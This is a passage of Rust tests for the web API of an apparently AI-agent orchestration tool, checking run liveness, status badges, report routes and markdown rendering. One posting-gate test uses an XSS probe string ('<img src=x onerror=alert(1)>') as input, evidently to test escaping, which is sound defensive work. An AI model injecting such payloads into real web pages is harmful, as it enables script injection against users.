18503 None,
18504 );
18505 write("20260930-092817-0ld1", None, Some(12));
18506
18507 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18508 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18509 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18510
18511 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18512 assert_eq!(
18513 old["origin_label"], "origin unknown (started before origins were recorded)",
18514 "{old}"
18515 );
18516 assert!(old["origin"].is_null(), "{old}");
18517
18518 let list = f.get("/api/runs").await.json();
18519 let labels: Vec<_> = list
18520 .as_array()
18521 .unwrap()
18522 .iter()
18523 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18524 .collect();
18525 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18526 }
18527
18528 #[tokio::test]
18535 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18536 let f = Fixture::start().await;
18537 let id = "20260922-090000-cccc";
18538 let mut state = RunState::new(
18539 PathBuf::from("/repo/magi"),
18540 "main".to_owned(),
18541 "0123456789abcdef".to_owned(),
18542 "Review only".to_owned(),
18543 Config::default(),
18544 );
18545 state.id = id.to_owned();
18546 state.status = RunStatus::Reviewing;
18547 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18548 state.driver_pid = Some(std::process::id());
18554 state.driver_started_at = Some(
18555 crate::proc::process_started_at(std::process::id())
18556 .expect("this test process's own start time must be queryable"),
18557 );
18558 let dir = f.runs().join(id);
18559 std::fs::create_dir_all(&dir).expect("run dir");
18560 std::fs::write(
18561 dir.join("run.json"),
18562 serde_json::to_string_pretty(&state).expect("serialize run"),
18563 )
18564 .expect("write run.json");
18565
18566 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18567 assert_eq!(detail["live"], "live", "{detail}");
18568 }
18569
18570 #[tokio::test]
18576 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18577 let f = Fixture::start().await;
18578 let id = "20260922-090100-dddd";
18579 let mut state = RunState::new(
18580 PathBuf::from("/repo/magi"),
18581 "main".to_owned(),
18582 "0123456789abcdef".to_owned(),
18583 "Review only".to_owned(),
18584 Config::default(),
18585 );
18586 state.id = id.to_owned();
18587 state.status = RunStatus::Reviewing;
18588 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18589 state.driver_pid = Some(std::process::id());
18594 state.driver_started_at = Some("1".to_owned());
18595 let dir = f.runs().join(id);
18596 std::fs::create_dir_all(&dir).expect("run dir");
18597 std::fs::write(
18598 dir.join("run.json"),
18599 serde_json::to_string_pretty(&state).expect("serialize run"),
18600 )
18601 .expect("write run.json");
18602
18603 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18604 assert_eq!(detail["live"], "dead", "{detail}");
18605 }
18606
18607 #[test]
18611 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18612 let mk = |id: &str, pid: Option<u32>| {
18613 let mut s = RunState::new(
18614 PathBuf::from("/repo/magi"),
18615 "main".to_owned(),
18616 "0123456789abcdef".to_owned(),
18617 "Add a web UI".to_owned(),
18618 Config::default(),
18619 );
18620 s.id = id.to_owned();
18621 s.driver_pid = pid;
18622 s.driver_started_at = Some("1790000000".to_owned());
18623 s
18624 };
18625 let states = vec![
18626 mk("20260902-140502-aaaa", Some(77)),
18627 mk("20260902-140502-bbbb", Some(77)),
18628 mk("20260902-140502-cccc", Some(77)),
18629 mk("20260902-140502-dddd", None),
18630 ];
18631 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18632 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18633 let sup: HashMap<String, String> = [(
18634 "20260902-140502-aaaa".to_owned(),
18635 "20260902-140502-cccc".to_owned(),
18636 )]
18637 .into();
18638
18639 let status_calls = std::cell::Cell::new(0);
18640 let identity_calls = std::cell::Cell::new(0);
18641 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18642 |_| {
18643 status_calls.set(status_calls.get() + 1);
18644 Some(true)
18645 },
18646 |_| {
18647 identity_calls.set(identity_calls.get() + 1);
18648 Some("1790000000".to_owned())
18649 },
18650 ));
18651 let rows = summarize(
18652 states,
18653 &open,
18654 &claimed,
18655 &sup,
18656 |p| probe.borrow_mut().status(p),
18657 |p| probe.borrow_mut().started_at(p),
18658 );
18659
18660 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18661 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18662 assert_eq!(rows.len(), 4);
18663 assert!(!rows[0].waiting && rows[1].waiting);
18664 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18665 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18666 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18667 assert_eq!(rows[1].superseded_by, None);
18668 }
18669
18670 #[test]
18671 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18672 let mut state = RunState::new(
18673 PathBuf::from("/repo/magi"),
18674 "main".to_owned(),
18675 "0123456789abcdef".to_owned(),
18676 "Review only".to_owned(),
18677 Config::default(),
18678 );
18679 state.id = "20260922-090200-dead".to_owned();
18680 state.status = RunStatus::Reviewing;
18681 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18682 .expect("serialize list row");
18683 assert_eq!(row["status"], "reviewing");
18684 assert_eq!(row["display_status"], "stale");
18685 assert_eq!(row["live"], "dead", "{row}");
18686 assert!(!row["done"].as_bool().unwrap());
18687 }
18688
18689 #[test]
18690 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18691 use crate::run::Liveness::{Dead, Live, Unknown};
18692 let mut state = RunState::new(
18693 PathBuf::from("/repo/magi"),
18694 "main".to_owned(),
18695 "abc".to_owned(),
18696 "Review only".to_owned(),
18697 Config::default(),
18698 );
18699 for (status, parked, node, waiting, live, expected) in [
18700 (
18701 RunStatus::Judging,
18702 true,
18703 "github-text",
18704 false,
18705 Dead,
18706 "parked",
18707 ),
18708 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18709 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18710 (
18711 RunStatus::Judging,
18712 true,
18713 "github-text",
18714 true,
18715 Dead,
18716 "waiting",
18717 ),
18718 (
18719 RunStatus::Judging,
18720 false,
18721 "github-text",
18722 true,
18723 Dead,
18724 "waiting",
18725 ),
18726 (
18727 RunStatus::Judging,
18728 false,
18729 "github-text",
18730 false,
18731 Dead,
18732 "stale",
18733 ),
18734 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18735 (RunStatus::Judging, true, "park", false, Live, "judging"),
18736 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18737 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18738 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18739 (
18740 RunStatus::Blocked,
18741 true,
18742 "github-text",
18743 true,
18744 Dead,
18745 "waiting",
18746 ),
18747 ] {
18748 state.status = status;
18749 state.parked = parked;
18750 state.events.clear();
18751 state.event(
18752 "park",
18753 "an earlier park does not determine the latest state",
18754 );
18755 state.event(node, "message is not used for classification");
18756 let summary = RunSummary::of(&state, waiting, live);
18757 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18758 assert_eq!(
18759 summary.display_status, expected,
18760 "{status:?}/{node}/{live:?}"
18761 );
18762 assert_eq!(detail.display_status, summary.display_status);
18763 assert_eq!(detail.waiting, summary.waiting);
18764 }
18765 state.status = RunStatus::Judging;
18766 state.parked = false;
18767 state.events.clear();
18768 assert_eq!(run_display_status(&state, false, Dead), "stale");
18769 }
18770
18771 #[test]
18772 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18773 use crate::run::Liveness::{Dead, Live, Unknown};
18774 let mut state = RunState::new(
18775 PathBuf::from("/repo/magi"),
18776 "main".to_owned(),
18777 "abc".to_owned(),
18778 "Badge".to_owned(),
18779 Config::default(),
18780 );
18781 for (status, waiting, live, superseded, expected) in [
18782 (RunStatus::Gating, false, Dead, false, "stale"),
18783 (RunStatus::Gating, false, Dead, true, "superseded"),
18784 (RunStatus::Gating, false, Unknown, true, "superseded"),
18785 (RunStatus::Gating, true, Dead, true, "superseded"),
18786 (RunStatus::Gating, true, Dead, false, "waiting"),
18787 (RunStatus::Gating, false, Unknown, false, "gating"),
18788 (RunStatus::Gating, false, Live, true, "gating"),
18789 (RunStatus::Gating, true, Live, true, "waiting"),
18790 (RunStatus::Merged, false, Dead, true, "merged"),
18791 (RunStatus::Blocked, false, Dead, true, "blocked"),
18792 ] {
18793 state.status = status;
18794 let display = run_display_status(&state, waiting, live);
18795 assert_eq!(
18796 run_badge_status(&state, &display, live, superseded),
18797 expected,
18798 "{status:?}/{live:?}/superseded={superseded}"
18799 );
18800 }
18801 }
18802
18803 #[test]
18804 fn summarize_and_detail_expose_badge_status() {
18805 use crate::run::Liveness::Dead;
18806 let mut state = RunState::new(
18807 PathBuf::from("/repo/magi"),
18808 "main".to_owned(),
18809 "abc".to_owned(),
18810 "Badge".to_owned(),
18811 Config::default(),
18812 );
18813 state.status = RunStatus::Gating;
18814 let none = HashSet::new();
18815 let id = state.id.clone();
18816 let mut by = HashMap::new();
18817 let rows = summarize(
18818 [state.clone()],
18819 &none,
18820 &none,
18821 &by,
18822 |_| Some(false),
18823 |_| None,
18824 );
18825 assert_eq!(rows[0].badge_status, rows[0].display_status);
18827 by.insert(id, "20260901-000000-913b".to_owned());
18828 let detail = RunDetailView::of(
18829 state.clone(),
18830 false,
18831 Dead,
18832 Some("913b".to_owned()),
18833 None,
18834 None,
18835 );
18836 assert_eq!(detail.badge_status, "superseded");
18837 let json = serde_json::to_value(&detail).unwrap();
18838 assert_eq!(json["badge_status"], "superseded");
18839 let detail = RunDetailView::of(state, false, Dead, None, None, None);
18840 assert_eq!(detail.badge_status, "stale");
18841 }
18842
18843 #[tokio::test]
18844 async fn run_display_status_routes_share_the_open_question_store() {
18845 let f = Fixture::start().await;
18846 let id = "20260922-090200-abcd";
18847 write_run(&f.runs(), id, RunStatus::Judging);
18848 let mut state = read_run(&f.runs(), id).unwrap();
18849 state.parked = true;
18850 state.driver_exited = true;
18851 state.event("github-text", "waiting for the owner");
18852 state.save_under(f.home.path()).unwrap();
18853 let mut task = Task::new(
18854 "resumed task".to_owned(),
18855 "do it".to_owned(),
18856 PathBuf::from("/repo"),
18857 Source::Human,
18858 );
18859 task.runs = vec![id.to_owned(), id.to_owned()];
18860 f.queue().put(&mut task).unwrap();
18861 let store = f.questions();
18862 let mut q = Question::new(
18863 id.to_owned(),
18864 "github-text".to_owned(),
18865 "owner".to_owned(),
18866 "Approve the text?".to_owned(),
18867 String::new(),
18868 Vec::new(),
18869 );
18870 store.put(&mut q).unwrap();
18871 for expected in ["waiting", "parked"] {
18872 let list = f.get("/api/runs").await.json();
18873 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18874 assert_eq!(list[0]["display_status"], expected);
18875 assert_eq!(detail["display_status"], expected);
18876 assert_eq!(detail["waiting"], list[0]["waiting"]);
18877 assert_eq!(list[0]["badge_status"], expected);
18878 assert_eq!(detail["badge_status"], expected);
18879 assert!(list[0]["superseded_by"].is_null());
18880 assert!(detail["superseded_by"].is_null());
18881 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18882 let history = task_detail["history"].as_array().unwrap();
18883 assert_eq!(history.len(), 2);
18884 assert!(history[0]["badge"].is_null());
18885 assert_eq!(history[1]["badge"], expected);
18886 q.status = ask::QuestionStatus::Answered;
18887 store.put(&mut q).unwrap();
18888 }
18889 }
18890
18891 #[tokio::test]
18892 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18893 let f = Fixture::start().await;
18894 let id = "20260922-090200-abcd";
18895 write_run(&f.runs(), id, RunStatus::Judging);
18896 let mut state = read_run(&f.runs(), id).unwrap();
18897 state.parked = true;
18898 state.driver_exited = true;
18899 state.event("park", "stopped at a node boundary");
18900 state.save_under(f.home.path()).unwrap();
18901
18902 for expected in ["parked", "stale"] {
18903 let list = f.get("/api/runs").await.json();
18904 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18905 assert_eq!(list[0]["live"], "dead");
18906 assert_eq!(list[0]["display_status"], expected);
18907 assert_eq!(detail["display_status"], expected);
18908 state.parked = false;
18911 state.save_under(f.home.path()).unwrap();
18912 }
18913 }
18914
18915 #[tokio::test]
18916 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18917 let f = Fixture::start().await;
18918 for id in [
18919 "20260902-140501-aaaa",
18920 "20260902-140502-bbbb",
18921 "20260902-140503-cccc",
18922 ] {
18923 write_run(&f.runs(), id, RunStatus::Merged);
18924 }
18925
18926 let all = f.get("/api/runs").await.json();
18927 let capped = f.get("/api/runs?limit=2").await.json();
18928
18929 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18930 assert_eq!(all.as_array().map(Vec::len), Some(3));
18931 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18932 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18933 }
18934
18935 #[tokio::test]
18936 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18937 let f = Fixture::start().await;
18938 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18939
18940 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18941
18942 assert_eq!(res.status, 200);
18943 assert!(
18944 res.headers
18945 .contains("content-type: text/plain; charset=utf-8"),
18946 "a browser must render it, not download it: {}",
18947 res.headers
18948 );
18949 assert!(
18953 res.body.contains("20260902-140501-a1b2"),
18954 "the report is about the run that was asked for: {}",
18955 res.body
18956 );
18957 }
18958
18959 #[tokio::test]
18960 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18961 crate::run::pin_test_home();
18963 let f = Fixture::start().await;
18964 let id = "20260902-140501-a1b2";
18965 write_run(&f.runs(), id, RunStatus::Stalled);
18966 let path = f.runs().join(id).join("run.json");
18969 let mut v: serde_json::Value =
18970 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18971 v["tally"] = serde_json::json!({
18972 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18973 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18974 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18975 "met_quorum": false, "rankings": 1
18976 });
18977 v["reviews"] = serde_json::json!([{
18978 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18979 "e2e_deferred": true,
18980 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18981 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18982 ]}]
18983 }]);
18984 std::fs::write(&path, v.to_string()).unwrap();
18985 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18986 std::fs::write(
18987 f.runs().join("20260902-140502-dead").join("run.json"),
18988 "{not json",
18989 )
18990 .unwrap();
18991
18992 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18993
18994 assert_eq!(res.status, 200, "{}", res.body);
18995 assert!(res.headers.contains("content-type: application/json"));
18996 let j = res.json();
18997 assert_eq!(j["schema"], 1);
18998 assert_eq!(j["header"]["id"], id);
18999 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19000 let kinds: Vec<&str> = j["sections"]
19001 .as_array()
19002 .unwrap()
19003 .iter()
19004 .map(|s| s["kind"].as_str().unwrap())
19005 .collect();
19006 assert_eq!(kinds, ["candidates", "tally", "review"]);
19007 let tally = &j["sections"][1]["tally"];
19008 assert_eq!(
19009 (tally["decided"].clone(), tally["provisional"].clone()),
19010 (false.into(), true.into())
19011 );
19012 let round = &j["sections"][2]["rounds"][0];
19013 assert_eq!(round["e2e"]["state"], "deferred");
19014 assert_eq!(round["findings"][0]["severity"], "major");
19015 assert_eq!(round["findings"][0]["blocking"], true);
19016 assert_eq!(round["findings"][0]["state"], "open");
19017
19018 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19020
19021 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19023 assert_ne!(bad.status, 200, "{}", bad.body);
19024 assert_eq!(
19025 bad.status,
19026 f.get("/api/runs/20260902-140502-dead/report").await.status
19027 );
19028 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19029 assert_eq!(
19030 f.get("/api/runs/20260902-999999-ffff/report.json")
19031 .await
19032 .status,
19033 404
19034 );
19035 }
19036
19037 #[tokio::test]
19038 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19039 crate::run::pin_test_home();
19040 let f = Fixture::start().await;
19041 let id = "20260902-140503-delib";
19042 write_run(&f.runs(), id, RunStatus::Merged);
19043 let path = f.runs().join(id).join("run.json");
19044 let mut v: serde_json::Value =
19045 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19046 v["judgements"] = serde_json::json!([
19047 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19048 ]);
19049 v["tally"] = serde_json::json!({
19050 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19051 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19052 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19053 "met_quorum": true, "rankings": 1
19054 });
19055 v["deliberation"] = serde_json::json!([
19056 {
19057 "round": 1,
19058 "turns": [
19059 {
19060 "judge": 1,
19061 "agent": "judge-1",
19062 "body": "I prefer candidate **A** because it has cleaner tests.",
19063 "tentative": "A"
19064 }
19065 ]
19066 },
19067 {
19068 "round": 2,
19069 "turns": [
19070 {
19071 "judge": 1,
19072 "agent": "judge-1",
19073 "body": "Still thinking, no choice yet.",
19074 "tentative": null
19075 }
19076 ]
19077 }
19078 ]);
19079 std::fs::write(&path, v.to_string()).unwrap();
19080
19081 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19082 assert_eq!(res.status, 200, "{}", res.body);
19083 let j = res.json();
19084 let judging = j["sections"]
19085 .as_array()
19086 .unwrap()
19087 .iter()
19088 .find(|s| s["kind"] == "judging")
19089 .expect("judging section exists");
19090
19091 let delib_lines = judging["deliberation"].as_array().unwrap();
19093 assert_eq!(delib_lines.len(), 2);
19094 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19095 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19096
19097 let rounds = judging["rounds"].as_array().unwrap();
19099 assert_eq!(rounds.len(), 2);
19100 let r1_t0 = &rounds[0]["turns"][0];
19101 assert_eq!(r1_t0["judge"], 1);
19102 assert_eq!(r1_t0["agent"], "judge-1");
19103 assert_eq!(r1_t0["tentative"], "A");
19104 assert_eq!(
19105 r1_t0["body"],
19106 "I prefer candidate **A** because it has cleaner tests."
19107 );
19108 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19109
19110 let r2_t0 = &rounds[1]["turns"][0];
19111 assert_eq!(r2_t0["judge"], 1);
19112 assert_eq!(r2_t0["agent"], "judge-1");
19113 assert!(r2_t0["tentative"].is_null());
19114 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19115 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19116
19117 let id_empty = "20260902-140504-nodelib";
19119 write_run(&f.runs(), id_empty, RunStatus::Merged);
19120 let path_empty = f.runs().join(id_empty).join("run.json");
19121 let mut v_empty: serde_json::Value =
19122 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19123 v_empty["judgements"] = serde_json::json!([
19124 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19125 ]);
19126 v_empty["deliberation"] = serde_json::json!([]);
19127 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19128
19129 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19130 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19131 let j_empty = res_empty.json();
19132 let judging_empty = j_empty["sections"]
19133 .as_array()
19134 .unwrap()
19135 .iter()
19136 .find(|s| s["kind"] == "judging")
19137 .expect("judging section exists");
19138 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19139 }
19140
19141 #[tokio::test]
19142 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19143 let f = Fixture::start().await;
19144
19145 let html = f.get("/").await;
19146 let css = f.get("/app.css").await;
19147 let js = f.get("/app.js").await;
19148
19149 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19150 assert!(
19151 html.headers
19152 .contains("content-type: text/html; charset=utf-8")
19153 );
19154 assert!(css.headers.contains("content-type: text/css"));
19155 assert!(js.headers.contains("content-type: text/javascript"));
19156 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19157 }
19158
19159 #[test]
19160 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19161 let body = |name: &str| {
19162 let at = APP_JS
19163 .find(name)
19164 .unwrap_or_else(|| panic!("{name} missing"));
19165 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19166 };
19167 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19168 let note = body("function landRoundNote");
19169 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19170 assert!(note.contains("Land round ${round}"));
19171 let land = body("function renderLand");
19172 let note_at = land
19173 .find("landRoundNote(pr)")
19174 .expect("renderLand uses the note");
19175 assert!(
19176 note_at
19177 < land
19178 .find("roundRail(pr)")
19179 .expect("renderLand uses the rail")
19180 );
19181 }
19182
19183 #[test]
19184 fn the_runs_page_redesign_keeps_its_guards() {
19185 let body = |name: &str| {
19186 let at = APP_JS
19187 .find(name)
19188 .unwrap_or_else(|| panic!("{name} missing"));
19189 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19190 };
19191 let land = body("function renderLand");
19193 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19194 assert!(
19195 !land.contains("box.append("),
19196 "renderLand must use append()"
19197 );
19198 assert!(land.contains("append(box, ["));
19199 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19201 assert!(
19202 body("function applyRoute")
19203 .contains("route.name !== state.route.name || route.id !== state.route.id")
19204 );
19205 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19207 assert!(!INDEX_HTML.contains("advise-converge"));
19208 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19209 assert!(APP_JS.contains("provisional"));
19210 for id in [
19211 "run-tab-overview",
19212 "run-tab-timeline",
19213 "run-tab-report",
19214 "run-report",
19215 "runs-scope",
19216 ] {
19217 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19218 }
19219 assert!(!INDEX_HTML.contains("runs-tree"));
19220 assert!(!INDEX_HTML.contains("run-raw-panel"));
19221 assert!(APP_JS.contains("resume"));
19223 assert!(APP_JS.contains("unreadable"));
19225 }
19226
19227 #[test]
19228 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19229 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19230 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19231 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19232 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19233 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19234 assert!(APP_JS.contains("unreadable` : null"));
19236 }
19237
19238 #[test]
19239 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19240 let mut state = RunState::new(
19241 "/repo".into(),
19242 "main".into(),
19243 "abc".into(),
19244 "task".into(),
19245 crate::config::Config::default(),
19246 );
19247 state.status = RunStatus::Blocked;
19248 state.gate_ran = true;
19249 state.gate.push(crate::run::CommandOutcome {
19250 command: "cargo make check".into(),
19251 code: Some(1),
19252 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19253 duration_ms: 0,
19254 resource_blocked: false,
19255 });
19256 let view = RunDetailView::of(
19257 state,
19258 false,
19259 crate::run::Liveness::Unknown,
19260 None,
19261 None,
19262 None,
19263 );
19264 let value = serde_json::to_value(view).unwrap();
19265 assert_eq!(
19266 value["stop_reason"],
19267 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19268 );
19269 }
19270
19271 #[test]
19272 fn the_run_detail_payload_says_whether_the_run_is_done() {
19273 for (status, done) in [
19275 (RunStatus::Superseded, true),
19276 (RunStatus::Blocked, true),
19277 (RunStatus::Landing, false),
19278 ] {
19279 let mut state = RunState::new(
19280 std::path::PathBuf::from("/repo"),
19281 "main".to_owned(),
19282 "abc".to_owned(),
19283 "x".to_owned(),
19284 crate::config::Config::default(),
19285 );
19286 state.status = status;
19287 let v = serde_json::to_value(RunDetailView::of(
19288 state,
19289 false,
19290 crate::run::Liveness::Unknown,
19291 None,
19292 None,
19293 None,
19294 ))
19295 .unwrap();
19296 assert_eq!(v["done"], done, "{status:?}");
19297 }
19298 }
19299
19300 fn has_strong(nodes: &[md::Node]) -> bool {
19302 serde_json::to_string(nodes).unwrap().contains("strong")
19303 }
19304
19305 #[test]
19306 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19307 let mut state = RunState::new(
19308 std::path::PathBuf::from("/repo"),
19309 "main".to_owned(),
19310 "abc".to_owned(),
19311 "x".to_owned(),
19312 crate::config::Config::default(),
19313 );
19314 let proposal = |approach: &str| {
19315 serde_json::json!({
19316 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19317 })
19318 };
19319 state.advice = Some(
19320 serde_json::from_value(serde_json::json!({
19321 "records": [
19322 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19323 "proposal": proposal("do **this**")},
19324 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19325 ],
19326 "synthesis": "- one\n- **two**\n\n`code`",
19327 }))
19328 .unwrap(),
19329 );
19330 state.candidates = serde_json::from_value(serde_json::json!([
19331 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19332 "summary": "did **it**"},
19333 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19334 ]))
19335 .unwrap();
19336 state.reviews = serde_json::from_value(serde_json::json!([{
19339 "round": 1, "head": "h",
19340 "reviews": [{
19341 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19342 "findings": [
19343 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19344 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19345 ],
19346 }],
19347 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19348 "fix": {"agent": "a", "notes": "fixed **it**",
19349 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19350 }, {"round": 2, "head": "h2", "reviews": []}]))
19351 .unwrap();
19352
19353 let v = serde_json::to_value(RunDetailView::of(
19354 state,
19355 false,
19356 crate::run::Liveness::Unknown,
19357 None,
19358 None,
19359 None,
19360 ))
19361 .unwrap();
19362
19363 let strong = |p: &str| {
19364 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19365 assert!(n.to_string().contains("strong"), "{p}: {n}");
19366 };
19367 strong("/advice_md/synthesis");
19368 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19369 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19370 strong("/advice_md/approaches/0");
19371 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19372 strong("/candidate_summaries_md/0");
19373 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19374 strong("/reviews_md/0/reviewers/0/summary");
19375 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19376 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19377 assert!(f[1].to_string().contains("strong"));
19378 strong("/reviews_md/0/reconsideration/0");
19379 strong("/reviews_md/0/fix/notes");
19380 strong("/reviews_md/0/fix/rejected/0");
19381 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19382 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19383 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19385 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19386 }
19387
19388 #[test]
19389 fn a_run_without_advice_has_no_advice_md() {
19390 let state = RunState::new(
19391 std::path::PathBuf::from("/repo"),
19392 "main".to_owned(),
19393 "abc".to_owned(),
19394 "x".to_owned(),
19395 crate::config::Config::default(),
19396 );
19397 let p = run_prose_md(&state);
19398 assert!(p.advice_md.is_none());
19399 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19400 }
19401
19402 #[test]
19403 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19404 let store = ask::Questions::at(PathBuf::from("unused"));
19405 let gt = crate::github_text::Withheld {
19406 title: false,
19407 body: true,
19408 categories: vec!["sensitive-data".into()],
19409 };
19410 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19411 let (detail, comparison) =
19412 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19413 let mut q = Question::new(
19414 "r".into(),
19415 "github-text".into(),
19416 "posting-gate".into(),
19417 "s".into(),
19418 detail,
19419 Vec::new(),
19420 );
19421 assert!(
19422 QuestionView::of(q.clone(), &store, None)
19423 .posting_view
19424 .is_none()
19425 );
19426 q.posting_comparison = Some(comparison);
19427 let view = QuestionView::of(q.clone(), &store, None);
19428 let field = &view.posting_view.unwrap().fields[0];
19429 assert_eq!(
19430 field
19431 .original
19432 .iter()
19433 .map(|f| f.text.as_str())
